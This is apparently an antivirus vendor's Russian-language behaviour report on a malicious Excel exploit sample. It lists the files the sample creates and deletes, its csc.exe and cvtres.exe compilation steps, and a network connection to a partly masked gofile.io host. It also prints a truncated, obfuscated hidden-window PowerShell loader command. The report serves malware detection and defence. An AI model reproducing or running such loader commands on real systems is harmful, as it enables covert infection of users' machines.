Exploit.Siggen.57913

Техническая информация

Вредоносные функции

Запускает на исполнение (эксплоит)

'<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -WindowStyle Hidden function afd92 {param($v3972b3)$ba13254='jc4b51';$q61a8='';for ($i=0; $i -lt $v3972b3.length;$i+=2){$oce552=[convert]::ToByte($v3972b3.Substring($i,2),16);$q61a8+=[char]($...

Изменения в файловой системе

Создает следующие файлы

%TEMP%\chpvsidp.0.cs
%TEMP%\qj-1vowq.dll
%TEMP%\sb_-tgnm.dll
%TEMP%\rese590.tmp
%TEMP%\cxjxvpn8.dll
%TEMP%\l934wvis.dll
%TEMP%\chpvsidp.dll
%TEMP%\rese1a8.tmp
%TEMP%\rese189.tmp
%TEMP%\rese16a.tmp
%TEMP%\csce580.tmp
%TEMP%\rese1d7.tmp
%TEMP%\csce1d6.tmp
%TEMP%\csce198.tmp
%TEMP%\csce178.tmp
%TEMP%\csce159.tmp
%TEMP%\qj-1vowq.out
%TEMP%\qj-1vowq.cmdline
%TEMP%\qj-1vowq.0.cs
%TEMP%\cxjxvpn8.out
%TEMP%\l934wvis.out
%TEMP%\sb_-tgnm.out
%TEMP%\l934wvis.cmdline
%TEMP%\l934wvis.0.cs
%TEMP%\cxjxvpn8.cmdline
%TEMP%\sb_-tgnm.cmdline
%TEMP%\sb_-tgnm.0.cs
%TEMP%\cxjxvpn8.0.cs
%TEMP%\chpvsidp.out
%TEMP%\chpvsidp.cmdline
%LOCALAPPDATA%\microsoft\windows\<INETFILES>\content.word\~wrf{df71d269-1a65-4b6f-9727-535684a3b5a7}.tmp
%APPDATA%\r6fba.exe

Удаляет следующие файлы

%TEMP%\rese1d7.tmp
%TEMP%\l934wvis.dll
%TEMP%\chpvsidp.cmdline
%TEMP%\chpvsidp.pdb
%TEMP%\chpvsidp.dll
%TEMP%\chpvsidp.out
%TEMP%\chpvsidp.0.cs
%TEMP%\sb_-tgnm.dll
%TEMP%\cxjxvpn8.0.cs
%TEMP%\sb_-tgnm.pdb
%TEMP%\sb_-tgnm.out
%TEMP%\sb_-tgnm.0.cs
%TEMP%\cxjxvpn8.cmdline
%TEMP%\cxjxvpn8.pdb
%TEMP%\cxjxvpn8.out
%TEMP%\l934wvis.pdb
%TEMP%\sb_-tgnm.cmdline
%TEMP%\l934wvis.cmdline
%TEMP%\csce198.tmp
%TEMP%\csce1d6.tmp
%TEMP%\rese16a.tmp
%TEMP%\csce159.tmp
%TEMP%\rese189.tmp
%TEMP%\csce178.tmp
%TEMP%\rese1a8.tmp
%TEMP%\rese590.tmp
%TEMP%\l934wvis.out
%TEMP%\csce580.tmp
%TEMP%\qj-1vowq.pdb
%TEMP%\qj-1vowq.dll
%TEMP%\qj-1vowq.0.cs
%TEMP%\qj-1vowq.out
%TEMP%\qj-1vowq.cmdline
%TEMP%\l934wvis.0.cs
%TEMP%\cxjxvpn8.dll

Сетевая активность

TCP

'sr####le5.gofile.io':443

UDP

DNS ASK sr####le5.gofile.io

Другое

Создает и запускает на исполнение

'<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -WindowStyle Hidden function afd92 {param($v3972b3)$ba13254='jc4b51';$q61a8='';for ($i=0; $i -lt $v3972b3.length;$i+=2){$oce552=[convert]::ToByte($v3972b3.Substring($i,2),16);$q61a8+=[char]($...' (со скрытым окном)
'%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\chpvsidp.cmdline"' (со скрытым окном)
'%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\qj-1vowq.cmdline"' (со скрытым окном)
'%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\l934wvis.cmdline"' (со скрытым окном)
'%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\sb_-tgnm.cmdline"' (со скрытым окном)
'%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\cxjxvpn8.cmdline"' (со скрытым окном)
'%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RESE16A.tmp" "%TEMP%\CSCE159.tmp"' (со скрытым окном)
'%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RESE189.tmp" "%TEMP%\CSCE178.tmp"' (со скрытым окном)
'%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RESE1A8.tmp" "%TEMP%\CSCE198.tmp"' (со скрытым окном)
'%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RESE1D7.tmp" "%TEMP%\CSCE1D6.tmp"' (со скрытым окном)
'%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RESE590.tmp" "%TEMP%\CSCE580.tmp"' (со скрытым окном)

Запускает на исполнение

'%ProgramFiles%\microsoft office\office14\excel.exe' -Embedding
'%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\chpvsidp.cmdline"
'%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\qj-1vowq.cmdline"
'%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\l934wvis.cmdline"
'%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\sb_-tgnm.cmdline"
'%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\cxjxvpn8.cmdline"
'%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RESE16A.tmp" "%TEMP%\CSCE159.tmp"
'%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RESE189.tmp" "%TEMP%\CSCE178.tmp"
'%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RESE1A8.tmp" "%TEMP%\CSCE198.tmp"
'%ProgramFiles%\microsoft office\office14\excelcnv.exe' -Embedding
'%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RESE1D7.tmp" "%TEMP%\CSCE1D6.tmp"
'%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RESE590.tmp" "%TEMP%\CSCE580.tmp"